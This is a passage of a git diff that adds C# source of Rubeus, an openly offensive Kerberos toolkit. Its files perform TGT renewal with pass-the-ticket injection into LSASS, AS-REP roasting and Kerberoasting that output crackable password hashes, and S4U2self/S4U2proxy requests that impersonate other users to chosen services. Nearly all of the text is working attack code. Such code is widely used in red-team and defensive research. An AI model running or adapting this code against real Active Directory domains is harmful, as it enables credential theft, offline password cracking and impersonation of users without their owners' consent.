+
+ Console.WriteLine("[*] Renewing TGT for {0}@{1}\r\n", userName, domain);
+ byte[] bytes = TGT(currentKirbi, false, domainController, true);
+ currentKirbi = new KRB_CRED(bytes);
+ }
+ }
+ }
+
+ public static byte[] TGT(KRB_CRED kirbi, bool ptt = false, string domainController = "", bool display = true)
+ {
+ // extract out the info needed for the TGS-REQ/AP-REQ renewal
+ string userName = kirbi.enc_part.ticket_info[0].pname.name_string[0];
+ string domain = kirbi.enc_part.ticket_info[0].prealm;
+ Ticket ticket = kirbi.tickets[0];
+ byte[] clientKey = kirbi.enc_part.ticket_info[0].key.keyvalue;
+ Interop.KERB_ETYPE etype = (Interop.KERB_ETYPE)kirbi.enc_part.ticket_info[0].key.keytype;
+
+ // request the new TGT renewal
+ return TGT(userName, domain, ticket, clientKey, etype, ptt, domainController, display);
+ }
+
+ public static byte[] TGT(string userName, string domain, Ticket providedTicket, byte[] clientKey, Interop.KERB_ETYPE etype, bool ptt, string domainController = "", bool display = true)
+ {
+ if (display)
+ {
+ Console.WriteLine("[*] Action: Renew TGT\r\n");
+ }
+
+ // grab the default DC if none was supplied
+ if (String.IsNullOrEmpty(domainController))
+ {
+ domainController = Networking.GetDCName();
+ if (String.IsNullOrEmpty(domainController))
+ {
+ return null;
+ }
+ }
+
+ System.Net.IPAddress[] dcIP;
+ try
+ {
+ dcIP = System.Net.Dns.GetHostAddresses(domainController);
+ }
+ catch (Exception e)
+ {
+ Console.WriteLine("[X] Error resolving IP for domain controller \"{0}\" : {1}", domainController, e.Message);
+ return null;
+ }
+ if (display)
+ {
+ Console.WriteLine("[*] Using domain controller: {0} ({1})", domainController, dcIP[0]);
+ Console.WriteLine("[*] Building TGS-REQ renewal for: '{0}\\{1}'", domain, userName);
+ }
+
+ byte[] tgsBytes = TGS_REQ.NewTGSReq(userName, domain, "krbtgt", providedTicket, clientKey, etype, true);
+
+ byte[] response = Networking.SendBytes(dcIP[0].ToString(), 88, tgsBytes);
+ if(response == null)
+ {
+ return null;
+ }
+
+ // decode the supplied bytes to an AsnElt object
+ // false == ignore trailing garbage
+ AsnElt responseAsn = AsnElt.Decode(response, false);
+
+ // check the response value
+ int responseTag = responseAsn.TagValue;
+
+ if (responseTag == 13)
+ {
+ Console.WriteLine("[+] TGT renewal request successful!");
+
+ // parse the response to an TGS-REP
+ TGS_REP rep = new TGS_REP(responseAsn);
+
+ // https://github.com/gentilkiwi/kekeo/blob/master/modules/asn1/kull_m_kerberos_asn1.h#L62
+ byte[] outBytes = Crypto.KerberosDecrypt(etype, 8, clientKey, rep.enc_part.cipher);
+ AsnElt ae = AsnElt.Decode(outBytes, false);
+ EncKDCRepPart encRepPart = new EncKDCRepPart(ae.Sub[0]);
+
+ // now build the final KRB-CRED structure
+ KRB_CRED cred = new KRB_CRED();
+
+ // add the ticket
+ cred.tickets.Add(rep.ticket);
+
+ // build the EncKrbCredPart/KrbCredInfo parts from the ticket and the data in the encRepPart
+
+ KrbCredInfo info = new KrbCredInfo();
+
+ // [0] add in the session key
+ info.key.keytype = encRepPart.key.keytype;
+ info.key.keyvalue = encRepPart.key.keyvalue;
+
+ // [1] prealm (domain)
+ info.prealm = encRepPart.realm;
+
+ // [2] pname (user)
+ info.pname.name_type = rep.cname.name_type;
+ info.pname.name_string = rep.cname.name_string;
+
+ // [3] flags
+ info.flags = encRepPart.flags;
+
+ // [4] authtime (not required)
+
+ // [5] starttime
+ info.starttime = encRepPart.starttime;
+
+ // [6] endtime
+ info.endtime = encRepPart.endtime;
+
+ // [7] renew-till
+ info.renew_till = encRepPart.renew_till;
+
+ // [8] srealm
+ info.srealm = encRepPart.realm;
+
+ // [9] sname
+ info.sname.name_type = encRepPart.sname.name_type;
+ info.sname.name_string = encRepPart.sname.name_string;
+
+ // add the ticket_info into the cred object
+ cred.enc_part.ticket_info.Add(info);
+
+ byte[] kirbiBytes = cred.Encode().Encode();
+
+ string kirbiString = Convert.ToBase64String(kirbiBytes);
+
+ if (display)
+ {
+ Console.WriteLine("[*] base64(ticket.kirbi):\r\n", kirbiString);
+
+ // display the .kirbi base64, columns of 80 chararacters
+ foreach (string line in Helpers.Split(kirbiString, 80))
+ {
+ Console.WriteLine(" {0}", line);
+ }
+ if (ptt)
+ {
+ // pass-the-ticket -> import into LSASS
+ LSA.ImportTicket(kirbiBytes);
+ }
+ return kirbiBytes;
+ }
+ else
+ {
+ return kirbiBytes;
+ }
+ }
+ else if (responseTag == 30)
+ {
+ // parse the response to an KRB-ERROR
+ KRB_ERROR error = new KRB_ERROR(responseAsn.Sub[0]);
+ Console.WriteLine("\r\n[X] KRB-ERROR ({0}) : {1}\r\n", error.error_code, (Interop.KERBEROS_ERROR)error.error_code);
+ }
+ else
+ {
+ Console.WriteLine("\r\n[X] Unknown application tag: {0}", responseTag);
+ }
+ return null;
+ }
+ }
+}
\ No newline at end of file
diff --git a/Rubeus/lib/Roast.cs b/Rubeus/lib/Roast.cs
new file mode 100755
index 00000000..d444f2ea
--- /dev/null
+++ b/Rubeus/lib/Roast.cs
@@ -0,0 +1,347 @@
+using System;
+using Asn1;
+using System.IO;
+using System.Linq;
+using System.Text.RegularExpressions;
+using System.Security.Principal;
+using System.DirectoryServices;
+using System.DirectoryServices.AccountManagement;
+
+namespace Rubeus
+{
+ public class Roast
+ {
+ public static void ASRepRoast(string userName, string domain, string domainController = "")
+ {
+ GetASRepHash(userName, domain, domainController);
+ }
+
+ public static void GetASRepHash(string userName, string domain, string domainController = "")
+ {
+ // roast AS-REPs for users without pre-authentication enabled
+
+ Console.WriteLine("[*] Action: AS-REP Roasting");
+
+ // grab the default DC if none was supplied
+ if (String.IsNullOrEmpty(domainController)) {
+ domainController = Networking.GetDCName();
+ if(String.IsNullOrEmpty(domainController))
+ {
+ Console.WriteLine("[X] Error retrieving the current domain controller.");
+ return;
+ }
+ }
+
+ System.Net.IPAddress[] dcIP = null;
+
+ try
+ {
+ dcIP = System.Net.Dns.GetHostAddresses(domainController);
+ }
+ catch (Exception e) {
+ Console.WriteLine("[X] Error retrieving IP for domain controller \"{0}\" : {1}", domainController, e.Message);
+ return;
+ }
+ Console.WriteLine("\r\n[*] Using domain controller: {0} ({1})", domainController, dcIP[0]);
+
+ Console.WriteLine("[*] Building AS-REQ (w/o preauth) for: '{0}\\{1}'", domain, userName);
+ byte[] reqBytes = AS_REQ.NewASReq(userName, domain, Interop.KERB_ETYPE.rc4_hmac);
+
+ byte[] response = Networking.SendBytes(dcIP[0].ToString(), 88, reqBytes);
+ if (response == null)
+ {
+ return;
+ }
+
+ // decode the supplied bytes to an AsnElt object
+ // false == ignore trailing garbage
+ AsnElt responseAsn = AsnElt.Decode(response, false);
+
+ // check the response value
+ int responseTag = responseAsn.TagValue;
+
+ if (responseTag == 11)
+ {
+ Console.WriteLine("[+] AS-REQ w/o preauth successful!");
+
+ // parse the response to an AS-REP
+ AS_REP rep = new AS_REP(response);
+
+ // output the hash of the encrypted KERB-CRED in a crackable hash form
+ string repHash = BitConverter.ToString(rep.enc_part.cipher).Replace("-", string.Empty);
+ string hashString = String.Format("$krb5asrep${0}@{1}:{2}", userName, domain, repHash);
+
+ Console.WriteLine("[*] AS-REP hash:\r\n");
+
+ // display the base64 of a hash, columns of 80 chararacters
+ foreach (string line in Helpers.Split(hashString, 80))
+ {
+ Console.WriteLine(" {0}", line);
+ }
+ }
+ else if (responseTag == 30)
+ {
+ // parse the response to an KRB-ERROR
+ KRB_ERROR error = new KRB_ERROR(responseAsn.Sub[0]);
+ Console.WriteLine("\r\n[X] KRB-ERROR ({0}) : {1}\r\n", error.error_code, (Interop.KERBEROS_ERROR)error.error_code);
+ }
+ else
+ {
+ Console.WriteLine("\r\n[X] Unknown application tag: {0}", responseTag);
+ }
+ }
+
+ public static void Kerberoast(string spn = "", string userName = "", string OUName = "", System.Net.NetworkCredential cred = null)
+ {
+ Console.WriteLine("[*] Action: Kerberoasting");
+
+ if (!String.IsNullOrEmpty(spn))
+ {
+ Console.WriteLine("\r\n[*] ServicePrincipalName : {0}", spn);
+ GetDomainSPNTicket(spn);
+ }
+ else
+ {
+ DirectoryEntry directoryObject = null;
+ DirectorySearcher userSearcher = null;
+ string bindPath = "";
+
+ try
+ {
+ if (cred != null)
+ {
+ if (!String.IsNullOrEmpty(OUName))
+ {
+ string ouPath = OUName.Replace("ldap", "LDAP").Replace("LDAP://", "");
+ bindPath = String.Format("LDAP://{0}/{1}", cred.Domain, ouPath);
+ }
+ else
+ {
+ bindPath = String.Format("LDAP://{0}", cred.Domain);
+ }
+ }
+ else if (!String.IsNullOrEmpty(OUName))
+ {
+ string ouPath = OUName.Replace("ldap", "LDAP").Replace("LDAP://", "");
+ bindPath = String.Format("LDAP://{0}", ouPath);
+ }
+
+ if (!String.IsNullOrEmpty(bindPath))
+ {
+ directoryObject = new DirectoryEntry(bindPath);
+ }
+ else
+ {
+ directoryObject = new DirectoryEntry();
+ }
+
+ if (cred != null)
+ {
+ // if we're using alternate credentials for the connection
+ string userDomain = String.Format("{0}\\{1}", cred.Domain, cred.UserName);
+ directoryObject.Username = userDomain;
+ directoryObject.Password = cred.Password;
+
+ using (PrincipalContext pc = new PrincipalContext(ContextType.Domain, cred.Domain))
+ {
+ if (!pc.ValidateCredentials(cred.UserName, cred.Password))
+ {
+ Console.WriteLine("\r\n[X] Credentials supplied for '{0}' are invalid!", userDomain);
+ return;
+ }
+ }
+ }
+
+ userSearcher = new DirectorySearcher(directoryObject);
+ }
+ catch (Exception ex)
+ {
+ Console.WriteLine("\r\n[X] Error creating the domain searcher: {0}", ex.InnerException.Message);
+ return;
+ }
+
+ // check to ensure that the bind worked correctly
+ try
+ {
+ Guid guid = directoryObject.Guid;
+ }
+ catch (DirectoryServicesCOMException ex)
+ {
+ if (!String.IsNullOrEmpty(OUName))
+ {
+ Console.WriteLine("\r\n[X] Error creating the domain searcher for bind path \"{0}\" : {1}", OUName, ex.Message);
+ }
+ else
+ {
+ Console.WriteLine("\r\n[X] Error creating the domain searcher: {0}", ex.Message);
+ }
+ return;
+ }
+
+ try
+ {
+ if (String.IsNullOrEmpty(userName))
+ {
+ userSearcher.Filter = "(&(samAccountType=805306368)(servicePrincipalName=*)(!samAccountName=krbtgt))";
+ }
+ else
+ {
+ userSearcher.Filter = String.Format("(&(samAccountType=805306368)(servicePrincipalName=*)(samAccountName={0}))", userName);
+ }
+ }
+ catch (Exception ex)
+ {
+ Console.WriteLine("\r\n[X] Error settings the domain searcher filter: {0}", ex.InnerException.Message);
+ return;
+ }
+
+ try
+ {
+ SearchResultCollection users = userSearcher.FindAll();
+
+ foreach (SearchResult user in users)
+ {
+ string samAccountName = user.Properties["samAccountName"][0].ToString();
+ string distinguishedName = user.Properties["distinguishedName"][0].ToString();
+ string servicePrincipalName = user.Properties["servicePrincipalName"][0].ToString();
+ Console.WriteLine("\r\n[*] SamAccountName : {0}", samAccountName);
+ Console.WriteLine("[*] DistinguishedName : {0}", distinguishedName);
+ Console.WriteLine("[*] ServicePrincipalName : {0}", servicePrincipalName);
+ GetDomainSPNTicket(servicePrincipalName, userName, distinguishedName, cred);
+ }
+ }
+ catch (Exception ex)
+ {
+ Console.WriteLine("\r\n [X] Error executing the domain searcher: {0}", ex.InnerException.Message);
+ return;
+ }
+ }
+ //else - search for user/OU/etc.
+ }
+
+ public static void GetDomainSPNTicket(string spn, string userName = "user", string distinguishedName = "", System.Net.NetworkCredential cred = null)
+ {
+ string domain = "DOMAIN";
+
+#if DEBUG
+ Console.WriteLine("[Debug:GetDomainSPNTicket] spn : {0}", spn);
+ Console.WriteLine("[Debug:GetDomainSPNTicket] userName : {0}", userName);
+ Console.WriteLine("[Debug:GetDomainSPNTicket] distinguishedName : {0}", distinguishedName);
+#endif
+ if (Regex.IsMatch(distinguishedName, "^CN=.*", RegexOptions.IgnoreCase))
+ {
+#if DEBUG
+ Console.WriteLine("[Debug:GetDomainSPNTicket] Regex match!");
+#endif
+ // extract the domain name from the distinguishedname
+ Match dnMatch = Regex.Match(distinguishedName, "(?DC=.*)", RegexOptions.IgnoreCase);
+ string domainDN = dnMatch.Groups["Domain"].ToString();
+#if DEBUG
+ Console.WriteLine("[Debug:GetDomainSPNTicket] domainDN : {0}", domainDN);
+#endif
+ domain = domainDN.Replace("DC=", "").Replace(',', '.');
+#if DEBUG
+ Console.WriteLine("[Debug:GetDomainSPNTicket] domain : {0}", domain);
+#endif
+ }
+
+ try
+ {
+ //Console.WriteLine("[*] Requesting ticket for SPN: {0}", spn);
+ System.IdentityModel.Tokens.KerberosRequestorSecurityToken ticket;
+ if (cred != null)
+ {
+#if DEBUG
+ Console.WriteLine("[Debug:GetDomainSPNTicket] cred != null");
+#endif
+ ticket = new System.IdentityModel.Tokens.KerberosRequestorSecurityToken(spn, TokenImpersonationLevel.Impersonation, cred, Guid.NewGuid().ToString());
+ }
+ else
+ {
+#if DEBUG
+ Console.WriteLine("[Debug:GetDomainSPNTicket] cred == null, usingn SPN : {0}", spn);
+#endif
+ ticket = new System.IdentityModel.Tokens.KerberosRequestorSecurityToken(spn);
+ }
+#if DEBUG
+ Console.WriteLine("[Debug:GetDomainSPNTicket] KerberosRequestorSecurityToken request successful");
+#endif
+ byte[] requestBytes = ticket.GetRequest();
+#if DEBUG
+ Console.WriteLine("[Debug:GetDomainSPNTicket] requestBytes len: {0}", requestBytes.Length);
+#endif
+ if ( !((requestBytes[15] == 1) && (requestBytes[16] == 0)) )
+ {
+ Console.WriteLine("\r\n[X] GSSAPI inner token is not an AP_REQ.\r\n");
+ return;
+ }
+
+ // ignore the GSSAPI frame
+ byte[] apReqBytes = new byte[requestBytes.Length-17];
+ Array.Copy(requestBytes, 17, apReqBytes, 0, requestBytes.Length - 17);
+#if DEBUG
+ Console.WriteLine("[Debug:GetDomainSPNTicket] Copied past GSSAPI frame. apReqBytes len: {0}", apReqBytes.Length);
+#endif
+
+ AsnElt apRep = AsnElt.Decode(apReqBytes);
+
+#if DEBUG
+ Console.WriteLine("[Debug:GetDomainSPNTicket] apRep.TagValue: {0}", apRep.TagValue);
+#endif
+
+ if (apRep.TagValue != 14)
+ {
+ Console.WriteLine("\r\n[X] Incorrect ASN application tag. Expected 14, but got {0}.\r\n", apRep.TagValue);
+ }
+
+ long encType = 0;
+
+ foreach (AsnElt elem in apRep.Sub[0].Sub)
+ {
+ if (elem.TagValue == 0)
+ {
+ encType = elem.Sub[0].GetInteger();
+ }
+ else if (elem.TagValue == 3)
+ {
+ foreach (AsnElt elem2 in elem.Sub[0].Sub[0].Sub)
+ {
+ if(elem2.TagValue == 3)
+ {
+ foreach (AsnElt elem3 in elem2.Sub[0].Sub)
+ {
+ if (elem3.TagValue == 2)
+ {
+ byte[] cipherTextBytes = elem3.Sub[0].GetOctetString();
+ string cipherText = BitConverter.ToString(cipherTextBytes).Replace("-", "");
+
+ string hash = String.Format("$krb5tgs${0}$*{1}${2}${3}*${4}${5}", encType, userName, domain, spn, cipherText.Substring(0, 32), cipherText.Substring(32));
+
+ bool header = false;
+ foreach (string line in Helpers.Split(hash, 80))
+ {
+ if (!header)
+ {
+ Console.WriteLine("[*] Hash : {0}", line);
+ }
+ else
+ {
+ Console.WriteLine(" {0}", line);
+ }
+ header = true;
+ }
+ Console.WriteLine();
+ }
+ }
+ }
+ }
+ }
+ }
+ }
+ catch (Exception ex)
+ {
+ Console.WriteLine("\r\n [X] Error during request for SPN {0} : {1}\r\n", spn, ex.InnerException.Message);
+ }
+ }
+ }
+}
\ No newline at end of file
diff --git a/Rubeus/lib/S4U.cs b/Rubeus/lib/S4U.cs
new file mode 100755
index 00000000..48199700
--- /dev/null
+++ b/Rubeus/lib/S4U.cs
@@ -0,0 +1,237 @@
+using System;
+using System.IO;
+using System.Linq;
+using Asn1;
+
+namespace Rubeus
+{
+ public class S4U
+ {
+ public static void Execute(string userName, string domain, string keyString, Interop.KERB_ETYPE etype, string targetUser, string targetSPN, bool ptt, string domainController = "", string altService = "")
+ {
+ // first retrieve a TGT for the user
+ byte[] kirbiBytes = Ask.TGT(userName, domain, keyString, etype, false);
+ Console.WriteLine();
+
+ if (kirbiBytes == null)
+ {
+ Console.WriteLine("[X] Error retrieving a TGT with the supplied parameters");
+ return;
+ }
+
+ // transform the TGT bytes into a .kirbi file
+ KRB_CRED kirbi = new KRB_CRED(kirbiBytes);
+
+ // execute the s4u process
+ Execute(kirbi, targetUser, targetSPN, ptt, domainController, altService);
+ }
+ public static void Execute(KRB_CRED kirbi, string targetUser, string targetSPN, bool ptt, string domainController = "", string altService = "")
+ {
+ Console.WriteLine("[*] Action: S4U\r\n");
+
+ // extract out the info needed for the TGS-REQ/S4U2Self execution
+ string userName = kirbi.enc_part.ticket_info[0].pname.name_string[0];
+ string domain = kirbi.enc_part.ticket_info[0].prealm;
+ Ticket ticket = kirbi.tickets[0];
+ byte[] clientKey = kirbi.enc_part.ticket_info[0].key.keyvalue;
+ Interop.KERB_ETYPE etype = (Interop.KERB_ETYPE)kirbi.enc_part.ticket_info[0].key.keytype;
+
+ // grab the default DC if none was supplied
+ if (String.IsNullOrEmpty(domainController))
+ {
+ domainController = Networking.GetDCName();
+ if (String.IsNullOrEmpty(domainController))
+ {
+ return;
+ }
+ }
+
+ System.Net.IPAddress[] dcIP = System.Net.Dns.GetHostAddresses(domainController);
+ Console.WriteLine("[*] Using domain controller: {0} ({1})", domainController, dcIP[0]);
+ Console.WriteLine("[*] Building S4U2self request for: '{0}\\{1}'", domain, userName);
+ Console.WriteLine("[*] Impersonating user '{0}' to target SPN '{1}'", targetUser, targetSPN);
+ if (!String.IsNullOrEmpty(altService))
+ {
+ Console.WriteLine("[*] Final ticket will be for the alternate service '{0}'", altService);
+ }
+
+ byte[] tgsBytes = TGS_REQ.NewTGSReq(userName, domain, userName, ticket, clientKey, etype, false, targetUser);
+
+ Console.WriteLine("[*] Sending S4U2self request");
+ byte[] response = Networking.SendBytes(dcIP[0].ToString(), 88, tgsBytes);
+ if (response == null)
+ {
+ return;
+ }
+
+ // decode the supplied bytes to an AsnElt object
+ // false == ignore trailing garbage
+ AsnElt responseAsn = AsnElt.Decode(response, false);
+
+ // check the response value
+ int responseTag = responseAsn.TagValue;
+
+ if (responseTag == 13)
+ {
+ Console.WriteLine("[+] S4U2self success!");
+
+ // parse the response to an TGS-REP
+ TGS_REP rep = new TGS_REP(responseAsn);
+
+ // https://github.com/gentilkiwi/kekeo/blob/master/modules/asn1/kull_m_kerberos_asn1.h#L62
+ byte[] outBytes = Crypto.KerberosDecrypt(etype, 8, clientKey, rep.enc_part.cipher);
+ AsnElt ae = AsnElt.Decode(outBytes, false);
+ EncKDCRepPart encRepPart = new EncKDCRepPart(ae.Sub[0]);
+
+ // TODO: ensure the cname contains the name of the user! otherwise s4u not supported
+
+ Console.WriteLine("[*] Building S4U2proxy request for service: '{0}'", targetSPN);
+ TGS_REQ s4u2proxyReq = new TGS_REQ();
+ PA_DATA padata = new PA_DATA(domain, userName, ticket, clientKey, etype);
+ s4u2proxyReq.padata.Add(padata);
+
+ s4u2proxyReq.req_body.kdcOptions = s4u2proxyReq.req_body.kdcOptions | Interop.KdcOptions.CNAMEINADDLTKT;
+
+ s4u2proxyReq.req_body.realm = domain;
+
+ string[] parts = targetSPN.Split('/');
+ s4u2proxyReq.req_body.sname.name_type = 2;
+ // the sname
+ s4u2proxyReq.req_body.sname.name_string.Add(parts[0]);
+ // the server
+ s4u2proxyReq.req_body.sname.name_string.Add(parts[1]);
+
+ // supported encryption types
+ s4u2proxyReq.req_body.etypes.Add(Interop.KERB_ETYPE.aes128_cts_hmac_sha1);
+ s4u2proxyReq.req_body.etypes.Add(Interop.KERB_ETYPE.aes256_cts_hmac_sha1);
+ s4u2proxyReq.req_body.etypes.Add(Interop.KERB_ETYPE.rc4_hmac);
+
+ // add in the ticket from the S4U2self response
+ s4u2proxyReq.req_body.additional_tickets.Add(rep.ticket);
+
+ byte[] s4ubytes = s4u2proxyReq.Encode().Encode();
+
+ Console.WriteLine("[*] Sending S4U2proxy request");
+ byte[] response2 = Networking.SendBytes(dcIP[0].ToString(), 88, s4ubytes);
+ if (response == null)
+ {
+ return;
+ }
+
+ // decode the supplied bytes to an AsnElt object
+ // false == ignore trailing garbage
+ AsnElt responseAsn2 = AsnElt.Decode(response2, false);
+
+ // check the response value
+ int responseTag2 = responseAsn2.TagValue;
+
+ if (responseTag2 == 13)
+ {
+ Console.WriteLine("[+] S4U2proxy success!");
+
+ // parse the response to an TGS-REP
+ TGS_REP rep2 = new TGS_REP(responseAsn2);
+
+ // https://github.com/gentilkiwi/kekeo/blob/master/modules/asn1/kull_m_kerberos_asn1.h#L62
+ byte[] outBytes2 = Crypto.KerberosDecrypt(etype, 8, clientKey, rep2.enc_part.cipher);
+ AsnElt ae2 = AsnElt.Decode(outBytes2, false);
+ EncKDCRepPart encRepPart2 = new EncKDCRepPart(ae2.Sub[0]);
+
+ // now build the final KRB-CRED structure
+ KRB_CRED cred = new KRB_CRED();
+
+ // if we want an alternate sname, first substitute it into the ticket structure
+ if (!String.IsNullOrEmpty(altService))
+ {
+ rep2.ticket.sname.name_string[0] = altService;
+ }
+
+ // add the ticket
+ cred.tickets.Add(rep2.ticket);
+
+ // build the EncKrbCredPart/KrbCredInfo parts from the ticket and the data in the encRepPart
+
+ KrbCredInfo info = new KrbCredInfo();
+
+ // [0] add in the session key
+ info.key.keytype = encRepPart2.key.keytype;
+ info.key.keyvalue = encRepPart2.key.keyvalue;
+
+ // [1] prealm (domain)
+ info.prealm = encRepPart2.realm;
+
+ // [2] pname (user)
+ info.pname.name_type = rep2.cname.name_type;
+ info.pname.name_string = rep2.cname.name_string;
+
+ // [3] flags
+ info.flags = encRepPart2.flags;
+
+ // [4] authtime (not required)
+
+ // [5] starttime
+ info.starttime = encRepPart2.starttime;
+
+ // [6] endtime
+ info.endtime = encRepPart2.endtime;
+
+ // [7] renew-till
+ info.renew_till = encRepPart2.renew_till;
+
+ // [8] srealm
+ info.srealm = encRepPart2.realm;
+
+ // [9] sname
+ info.sname.name_type = encRepPart2.sname.name_type;
+ info.sname.name_string = encRepPart2.sname.name_string;
+ // if we want an alternate sname, lastely substitute it into the encrypted portion of the KRB_CRED
+ if (!String.IsNullOrEmpty(altService))
+ {
+ Console.WriteLine("[*] Substituting alternative service name '{0}'", altService);
+ info.sname.name_string[0] = altService;
+ }
+
+ // add the ticket_info into the cred object
+ cred.enc_part.ticket_info.Add(info);
+
+ byte[] kirbiBytes = cred.Encode().Encode();
+
+ string kirbiString = Convert.ToBase64String(kirbiBytes);
+
+ Console.WriteLine("[*] base64(ticket.kirbi):\r\n", kirbiString);
+
+ // display the .kirbi base64, columns of 80 chararacters
+ foreach (string line in Helpers.Split(kirbiString, 80))
+ {
+ Console.WriteLine(" {0}", line);
+ }
+ if (ptt)
+ {
+ // pass-the-ticket -> import into LSASS
+ LSA.ImportTicket(kirbiBytes);
+ }
+ }
+ else if (responseTag == 30)
+ {
+ // parse the response to an KRB-ERROR
+ KRB_ERROR error = new KRB_ERROR(responseAsn.Sub[0]);
+ Console.WriteLine("\r\n[X] KRB-ERROR ({0}) : {1}\r\n", error.error_code, (Interop.KERBEROS_ERROR)error.error_code);
+ }
+ else
+ {
+ Console.WriteLine("\r\n[X] Unknown application tag: {0}", responseTag);
+ }
+ }
+ else if (responseTag == 30)
+ {
+ // parse the response to an KRB-ERROR
+ KRB_ERROR error = new KRB_ERROR(responseAsn.Sub[0]);
+ Console.WriteLine("\r\n[X] KRB-ERROR ({0}) : {1}\r\n", error.error_code, (Interop.KERBEROS_ERROR)error.error_code);
+ }
+ else
+ {
+ Console.WriteLine("\r\n[X] Unknown application tag: {0}", responseTag);
+ }
+ }
+ }
+}
\ No newline at end of file
diff --git a/Rubeus/lib/krb_structures/AP_REQ.cs b/Rubeus/lib/krb_structures/AP_REQ.cs
new file mode 100755
index 00000000..ce5fa7da
--- /dev/null
+++ b/Rubeus/lib/krb_structures/AP_REQ.cs
@@ -0,0 +1,112 @@
+using Asn1;
+using System;
+using System.Collections.Generic;
+using System.IO;
+
+namespace Rubeus
+{
+ //AP-REQ ::= [APPLICATION 14] SEQUENCE {
+ // pvno [0] INTEGER (5),
+ // msg-type [1] INTEGER (14),
+ // ap-options [2] APOptions,
+ // ticket [3] Ticket,
+ // authenticator [4] EncryptedData -- Authenticator
+ //}
+
+ public class AP_REQ
+ {
+ public AP_REQ(string crealm, string cname, Ticket providedTicket, byte[] clientKey, Interop.KERB_ETYPE etype)
+ {
+ pvno = 5;
+
+ msg_type = 14;
+
+ ap_options = 0;
+
+ ticket = providedTicket;
+
+ enctype = etype;
+ key = clientKey;
+
+ authenticator = new Authenticator();
+ authenticator.crealm = crealm;
+ authenticator.cname = new PrincipalName(cname);
+ }
+
+ public AsnElt Encode()
+ {
+ // pvno [0] INTEGER (5)
+ AsnElt pvnoASN = AsnElt.MakeInteger(pvno);
+ AsnElt pvnoSeq = AsnElt.Make(AsnElt.SEQUENCE, new[] { pvnoASN });
+ pvnoSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 0, pvnoSeq);
+
+
+ // msg-type [1] INTEGER (14)
+ AsnElt msg_typeASN = AsnElt.MakeInteger(msg_type);
+ AsnElt msg_typeSeq = AsnElt.Make(AsnElt.SEQUENCE, new[] { msg_typeASN });
+ msg_typeSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 1, msg_typeSeq);
+
+
+ // ap-options [2] APOptions
+ byte[] ap_optionsBytes = BitConverter.GetBytes(ap_options);
+ AsnElt ap_optionsASN = AsnElt.MakeBitString(ap_optionsBytes);
+ AsnElt ap_optionsSeq = AsnElt.Make(AsnElt.SEQUENCE, new[] { ap_optionsASN });
+ ap_optionsSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 2, ap_optionsSeq);
+
+
+ // ticket [3] Ticket
+ AsnElt ticketASN = ticket.Encode();
+ AsnElt ticktSeq = AsnElt.Make(AsnElt.SEQUENCE, new[] { ticketASN });
+ ticktSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 3, ticktSeq);
+
+
+ // authenticator [4] EncryptedData
+
+ // KRB_KEY_USAGE_TGS_REQ_PA_AUTHENTICATOR 7
+ // From https://github.com/gentilkiwi/kekeo/blob/master/modules/asn1/kull_m_kerberos_asn1.h#L61
+ if (key == null)
+ {
+ Console.WriteLine(" [X] A key for the authenticator is needed to build an AP-REQ");
+ return null;
+ }
+ byte[] authenticatorBytes = authenticator.Encode().Encode();
+ //byte[] keyBytes = Helpers.StringToByteArray(key);
+ byte[] encBytes = Crypto.KerberosEncrypt(enctype, 7, key, authenticatorBytes);
+
+ // create the EncryptedData structure to hold the authenticator bytes
+ EncryptedData authenticatorEncryptedData = new EncryptedData();
+ authenticatorEncryptedData.etype = (int)enctype;
+ authenticatorEncryptedData.cipher = encBytes;
+
+ AsnElt authenticatorEncryptedDataASN = authenticatorEncryptedData.Encode();
+ AsnElt authenticatorEncryptedDataSeq = AsnElt.Make(AsnElt.SEQUENCE, new[] { authenticatorEncryptedDataASN });
+ authenticatorEncryptedDataSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 4, authenticatorEncryptedDataSeq);
+
+ // encode it all into a sequence
+ AsnElt[] total = new[] { pvnoSeq, msg_typeSeq, ap_optionsSeq, ticktSeq, authenticatorEncryptedDataSeq };
+ AsnElt seq = AsnElt.Make(AsnElt.SEQUENCE, total);
+
+ // AP-REQ ::= [APPLICATION 14]
+ // put it all together and tag it with 14
+ AsnElt totalSeq = AsnElt.Make(AsnElt.SEQUENCE, new[] { seq });
+ totalSeq = AsnElt.MakeImplicit(AsnElt.APPLICATION, 14, totalSeq);
+
+ return totalSeq;
+ }
+
+
+ public long pvno { get; set;}
+
+ public long msg_type { get; set; }
+
+ public UInt32 ap_options { get; set; }
+
+ public Ticket ticket { get; set; }
+
+ public Authenticator authenticator { get; set; }
+
+ public byte[] key { get; set; }
+
+ private Interop.KERB_ETYPE enctype;
+ }
+}
\ No newline at end of file
diff --git a/Rubeus/lib/krb_structures/AS_REP.cs b/Rubeus/lib/krb_structures/AS_REP.cs
new file mode 100755
index 00000000..61e48c4c
--- /dev/null
+++ b/Rubeus/lib/krb_structures/AS_REP.cs
@@ -0,0 +1,101 @@
+using Asn1;
+using System;
+using System.Text;
+
+namespace Rubeus
+{
+ public class AS_REP
+ {
+ //AS-REP ::= [APPLICATION 11] KDC-REP
+
+ //KDC-REP ::= SEQUENCE {
+ // pvno [0] INTEGER (5),
+ // msg-type [1] INTEGER (11 -- AS),
+ // padata [2] SEQUENCE OF PA-DATA OPTIONAL
+ // -- NOTE: not empty --,
+ // crealm [3] Realm,
+ // cname [4] PrincipalName,
+ // ticket [5] Ticket,
+ // enc-part [6] EncryptedData
+ // -- EncASRepPart
+ //}
+
+ public AS_REP(byte[] data)
+ {
+ // decode the supplied bytes to an AsnElt object
+ // false == ignore trailing garbage
+ AsnElt asn_AS_REP = AsnElt.Decode(data, false);
+
+ this.Decode(asn_AS_REP);
+ }
+
+ public AS_REP(AsnElt asn_AS_REP)
+ {
+ this.Decode(asn_AS_REP);
+ }
+
+ private void Decode(AsnElt asn_AS_REP)
+ {
+ // AS-REP::= [APPLICATION 11] KDC-REQ
+ if (asn_AS_REP.TagValue != 11)
+ {
+ throw new System.Exception("AS-REP tag value should be 11");
+ }
+
+ if ((asn_AS_REP.Sub.Length != 1) || (asn_AS_REP.Sub[0].TagValue != 16))
+ {
+ throw new System.Exception("First AS-REP sub should be a sequence");
+ }
+
+ // extract the KDC-REP out
+ AsnElt[] kdc_rep = asn_AS_REP.Sub[0].Sub;
+
+ foreach (AsnElt s in kdc_rep)
+ {
+ switch (s.TagValue)
+ {
